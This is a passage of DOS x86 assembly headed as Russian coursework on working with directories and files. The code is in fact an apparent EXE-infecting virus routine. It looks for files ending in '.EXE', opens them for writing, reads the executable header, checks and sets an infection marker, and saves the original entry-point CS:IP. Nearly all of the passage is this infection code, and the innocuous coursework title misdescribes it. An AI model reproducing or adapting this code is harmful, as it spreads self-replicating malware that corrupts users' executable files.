Курсовая работа: Работа с каталогами и подкаталогами. Работа с файлами
JNE resend_again
CMP word ptr DS: [DI-2], 4558h
JNE to_no_exe
CMP word ptr DS: [DI-4], 452Eh
JE thats_exe
to_no_exe: JMP no_exe
thats_exe:
MOV CX, 0
MOV AH, 3Dh
MOV AL, 2
CALL call_int21
MOV word ptr CS: [f_number-100h], AX
PUSH CS
POP DS
MOV AH, 3Fh
MOV DX, OFFSET data_exe – 100h
MOV CX, 20h
MOV BX, word ptr CS: [f_number-100h]
CALL call_int21
CMP word ptr DS: [data_exe – 100h + 0Ah], 50h
JNE thats_clear
JMP no_exe
thats_clear:
MOV word ptr DS: [data_exe – 100h + 0Ah], 50h
MOV AX, word ptr CS: [data_exe – 100h + 14h]
MOV word ptr CS: [saved_ip – 100h + 1], AX
MOV AX, word ptr CS: [data_exe – 100h + 16h]
MOV word ptr CS: [saved_cs – 100h + 1], AX
MOV AX, word ptr CS: [data_exe – 100h + 10h]